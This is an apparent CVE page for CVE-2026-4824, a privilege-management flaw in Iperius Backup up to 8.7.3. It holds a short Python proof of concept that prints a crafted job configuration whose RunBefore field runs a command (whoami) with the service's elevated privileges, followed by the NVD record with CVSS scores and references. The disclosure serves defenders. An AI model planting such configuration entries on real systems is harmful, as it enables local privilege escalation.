CVE-2026-4824

import os # Proof of Concept (PoC) for CVE-2026-4824 # This script demonstrates how a low-privileged user could potentially # craft a malicious configuration to exploit the improper privilege management. # Note: This is a conceptual simulation based on the vulnerability description. # In a real scenario, the attacker would need to write to the specific config path. def create_malicious_config(): # Simulate the structure of an Iperius Backup configuration file # that triggers the execution of a system command. malicious_xml = """ <IperiusBackupConfiguration> <Job> <Name>Backup_Task_1</Name> <Type>Copy</Type> <!-- Vulnerability: The 'RunBefore' or similar execution parameter is executed with the privileges of the Iperius service (often SYSTEM) without proper validation. --> <RunBefore>C:\Windows\System32\cmd.exe /c whoami > C:\temp\priv_check.txt</RunBefore> <Source>C:\Source\Data</Source> <Destination>D:\Backup</Destination> </Job> </IperiusBackupConfiguration> """ # In a real attack, this content would be written to: # "C:\Program Files\Iperius Backup\Config\[Job_Name].xml" # or a similar location where the application loads job definitions. print("[*] Malicious configuration content generated:") print(malicious_xml) print("[!] If an attacker can write this to the Iperius config directory,") print("[!] the service may execute the command with elevated privileges upon the next run.") if __name__ == "__main__": create_malicious_config()

{"cve": {"id": "CVE-2026-4824", "sourceIdentifier": "[email protected]", "published": "2026-03-25T22:16:19.497", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Enter Software Iperius Backup up to 8.7.3. Affected by this issue is some unknown functionality of the component Backup Job Configuration File Handler. The manipulation leads to improper privilege management. The attack must be carried out locally. The attack is considered to have high complexity. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 8.7.4 can resolve this issue. It is advisable to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en Enter Software Iperius Backup hasta la versión 8.7.3. Afectada por este problema está alguna funcionalidad desconocida del componente Gestor de Archivos de Configuración de Tareas de Copia de Seguridad. La manipulación conduce a una gestión de privilegios inadecuada. El ataque debe ser llevado a cabo localmente. Se considera que el ataque tiene una complejidad alta. Se sabe que la explotación es difícil. El exploit ha sido divulgado al público y puede ser utilizado. Actualizar a la versión 8.7.4 puede resolver este problema. Es aconsejable actualizar el componente afectado. El proveedor fue contactado tempranamente, respondió de una manera muy profesional y rápidamente lanzó una versión corregida del producto afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:C/I:C/A:C", "baseScore": 6.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 1.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/0truust/iperius-backup-security-advisories/blob/main/advisories/privilege-escalation-rce.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.353124", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.353124", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.774220", "source": "[email protected]"}, {"url": "https://www.iperiusbackup.com/download-software-backup.aspx", "source": "[email protected]"}]}}